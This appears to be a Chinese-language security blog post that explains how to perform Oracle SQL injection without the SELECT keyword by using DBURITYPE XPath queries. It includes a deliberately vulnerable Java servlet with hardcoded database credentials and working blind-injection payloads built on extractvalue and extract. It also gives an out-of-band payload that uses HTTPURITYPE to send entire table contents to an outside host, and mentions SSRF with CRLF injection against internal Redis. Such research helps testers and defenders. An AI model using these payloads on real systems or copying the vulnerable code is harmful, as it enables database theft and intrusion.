ORACLE 无SELECT注入

在实际测试中, 经常遇到一出现SELECT就被拦截的场景, 对于无法多行查询的注入来说,一般遇到这种场景就告别出数据了(能出个user等信息)。闲着读ORACLE文档的时候, 发现ORACLE支持使用Xpath进行查询, 通过使用Xpath可以实现无SELECT查询数据。

测试环境

https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694

Description of DBUriType
The DBUriType is a subtype of the UriType that provides support for of DBUri-refs. A DBUri-ref is an intra-database URL that can be used to reference any row or row-column data in the database. The URL is specified as an XPath expression over a XML visualization of the database. The schemas become elements which contain tables and views. These tables and view further contain the rows and columns inside them.

从文档中可以看出DBUriType支持使用XPath表达式查询数据库中的数据。
-w724

从上图中能够看出虚拟视图的结构,很容易的能够看出uri的格式为/oradb/schemaname/tablename/ROW[predicate_expression],oradb可省略(也支持查询视图)。

正常查询结果。
-w319

使用DBURITYPE查询结果。
-w338

本地用JDBC简单搭建个非dba ORACLE SQL注入环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
String username = req.getParameter("username");
resp.setHeader("Content-type", "text/html;charset=UTF-8");
resp.setCharacterEncoding("UTF-8");
try {
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@39.108.232.59:49161:xe", "system", "oracle");
Statement sts = conn.createStatement();

if(username.toLowerCase().contains("select")){
resp.getWriter().print("含有非法字符");
return;
}
System.out.println(String.format("select count(*) from HR.test where username = '%s'", username));
ResultSet rs = sts.executeQuery(String.format("select count(*) from HR.test where username = '%s'", username));
rs.next();
int row = rs.getInt(1);
if(row > 0){
resp.getWriter().print("已注册");
}else{
resp.getWriter().print("未注册");
}
}catch(Exception e){
e.printStackTrace();
}

盲注

/oradb/schemaname/tablename/ROW[predicate_expression]

1
select DBURITYPE('/HR/TEST/ROW[USERNAME="admin"]/USERNAME').getxml() from dual 

在测试盲注时, 我没能在predicate_expression中实现模糊查询或者通配, 大概翻了下文档也没找到,只能够进行完整的匹配,不能模糊查询或者通配基本没法盲注。
所以在这里换成了使用extractvalue解析查询出来的xml再进行盲注。
/checkUsername?username=admin’ and extractvalue(DBURITYPE(‘/HR/TEST’).getxml(),’/TEST/ROW[1]/PASSWORD’)like’admin%25’–
-w984

-w1011

能够实现盲注, extractvalue容易被拦,可以换成extract进行盲注,需要查询第二行时修改为ROW[2]即可查询。
使用extract盲注时, 需注意查询出的xml结果会带有列名<PASSWORD>admin</PASSWORD>

OOB

oracle本身能够很容易的外带数据, 在能够发送HTTP请求出网时就不再需要盲注,这里直接使用httpuritype外带出dburitype查询出的数据。

/checkUsername?username=a’ and HTTPURITYPE(‘http://HOST/'|| DBURITYPE(‘/HR/TEST’).getxml()).getcontenttype() is null–

-w1400
外带出了表中的所有数据, 在表中数据数量过于庞大时发送GET请求可能会出现问题。可以使用上面的extract外带一行数据等方法。
-w902

SSRF + CRLF

使用httpuritype发送HTTP请求存在CRLF问题, 在存在注入无法RCE时可以尝试打内网的redis等。
-w1231

References

https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694
https://docs.oracle.com/cd/B12037_01/appdev.101/b10790/xdb15dbu.htm#i1032143